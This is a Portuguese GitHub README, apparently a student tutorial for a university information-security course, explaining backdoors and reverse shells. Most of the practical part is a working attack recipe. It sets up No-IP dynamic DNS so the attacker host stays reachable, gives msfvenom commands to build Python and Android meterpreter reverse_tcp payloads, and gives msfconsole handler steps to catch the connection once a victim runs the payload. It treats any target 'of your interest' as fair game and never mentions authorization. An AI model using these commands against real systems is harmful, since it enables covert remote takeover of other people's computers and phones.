Skip to content

🔐 Backdoor Practical Tutorial for Information Security Discipline

Notifications You must be signed in to change notification settings

gleydson/BackdoorTutorial

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 

Repository files navigation

Brasão da Universidade Federal do Ceará.


Equipe: Ernandes Azevedo Junior e Gleydson da Silva Rodrigues

O que é backdoor?

Backdoor é um recurso oculto em um software que concede um certo nível de acesso ao software ou sistema para quem estiver ciente desse recurso. Geralmente não é de conhecimento do propietário do sistema.

Isso permite que um usuário externo possa acessá-lo para realizar algum tipo de modificação no sistema em sí ou em um software específico.

Um backdoor pode ser criado por um desenvolvedor, afim de realizar manutenções em softwares, porém, é um meio bastante utilizado por usuários mal intencionados para obter acesso ilícito para a realização de algum tipo de ataque, isso permite que eles entrem e saiam da maneira que quiserem, dando-lhes acesso remoto ao sistema.

O funcionamento de um backdoor, estar associado a dois conceitos importantes, são eles:

Daemons:

Um daemon é basicamente um processo de longa duração executado em segundo plano, portanto, é um processo que é executado sem qualquer interação do usuário. Para um usuário comum é completamente invisível e pode até não suspeitar de sua existência.

Reverse Shell:

Ao atacar, os hackers geralmente necessitam obter acesso remoto no sistema alvo.

Uma técnica comum que eles usam para ganhar controle é a vinculação de shell: primeiro o atacante compreende seu sistema, explorando um serviço vulnerável e enviando um payload. Este payload é na verdade, um shell remoto que abre uma porta no sistema da vítima, que fica a espera do invasor se conectar e executar os comandos.

No entanto, o que acontece se a vítima estiver protegida por um firewall que descarta qualquer requisição de conexão de entrada remota?

O firewall irá bloquear as conexões de entrada, mas não as de saída, porque você sabe... as pessoas precisam acessar a Internet.

Então, em vez de tentar se conectar ao shell que ele colocou na vítima, o invasor apenas construirá seu shell para que ele inicialize a conexão. Tudo o que ele tem que fazer é esperar pacientemente a vítima para se conectar a ele.

Desta forma, é possível obter um backdoor invisível que será ignorado pela maioria dos firewalls.

Configuração do ambiente

Para começar a criar seu primeiro backdoor, será necessário que você possua um sistema para realiza o ataque e o sistema para atacar.

É recomendado a utilização de sistemas linux para a realização do ataque, devido a quantidade gigantesca de ferramentas para a plataforma, você pode usar qualquer sistema linux, porém, recomendamos a utilização de sistemas criados especialmente para este tipo de atividade, como: Kali Linux, Backbox, Deft, entre outros.

Para usar como sistema alvo, você poderá escolher qualquer sistema que seja de seu interesse realizar o ataque, como: sistemas Windowns, Linux, Android...

Dica

Para a realização desta atividade, é comum utilizarmos o ip de nossa máquina para que venhamos conectar-se a vítima, porém, como geralmente o ip vinculado a nossa máquina é dinâmico, ao reiniciamos nosso sistema obteremos um novo ip e assim não possuiremos mais acesso a máquina da vítima, sendo necessário recomeçar todo o processo de criar o payload e fazer com que a vítima o execute.

Para sanar este problema, podemos utilizar o NO-IP, um serviço de criação de host que ficará apontado para nossa máquina e verificando se houve mudança de ip, assim sempre será possível utilizar um host amigável ao invés do ip.

Instalação

Para começar, registre um domíno no site:

https://www.noip.com/

Agora, você poderá baixar o cliente do no-ip para rodar em sua máquina. Para execução dos comando abaixo, recomendado a utilização de sudo su:

  1. cd /usr/local/src
  2. wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
  3. tar xzf noip-duc-linux.tar.gz
  4. cd no-ip-2.1.9-1
  5. make
  6. make install

Caso seja apresentada a seguinte mensagem: make not found ou missing gcc, será necessário instalar as ferramentas para compilação de código C.

Ainda com permissões sudo, execute o seguinte comando para criar o arquivo de configuração padrão.

  1. /usr/local/bin/noip2 -C

Você será solicitado a fornecer seu nome de usuário e senha para o No-IP, bem como qual hosts você deseja utilizar, caso você tenha registrado mais de um.

Agora que o cliente está instalado e configurado, você só precisa iniciá-lo. Basta executar este comando final para iniciar o cliente em segundo plano:

  1. /usr/local/bin/noip2

Prática

Realizando ataque em python

Para criar um payload em python é muito simples, basta digitar o comando abaixo alterando o LHOST para seu ip ou dns, caso tenha configurado, e LPORT para a porta de seu desejo.

msfvenom -p python/meterpreter/reverse_tcp LHOST=SEU_IP LPORT=SUA_PORTA R > payload.py

Ao concluir, será gerado um código em python que poderá ser executado em qualquer sistema de seu interesse, porém, dentro deste código, existe uma parte codificada em base64, desta forma, podemos usar algum decodificador online para ver o que é.

Realizando ataque em dispositivos android

Para criar um payload em android basta digitar o comando abaixo alterando o LHOST para seu ip ou dns, caso tenha configurado, e LPORT para a porta de seu desejo.

msfvenom -p android/meterpreter/reverse_tcp LHOST=SEU_IP LPORT=SUA_PORTA R > payload.apk

Iniciar a ação

Para realizar o ataque em qualquer uma das plataformas acima, basta executar os comandos abaixo:

  1. msfconsole
  2. use exploit/multi/handler
  3. set PAYLOAD PLATAFORMA_ESCOLHIDA/meterpreter/reverse_tcp
  4. set LHOST SEU_IP
  5. set LPORT SUA_PORTA
  6. exploit

Basta alterar em SUA_PLATAFORMA para a plataforma da qual você executará a ação e difinir o seu ip e a mesma porta que foi escolhida na hora de criar o payload.

Depois disso, basta esperar a vítima executar seu payload e você terá acesso completo a máquina do alvo.

Uma dica, ao acessar a máquina alvo, utilize o comando help para ver os comandos disponíveis.

Releases

No releases published

Packages

No packages published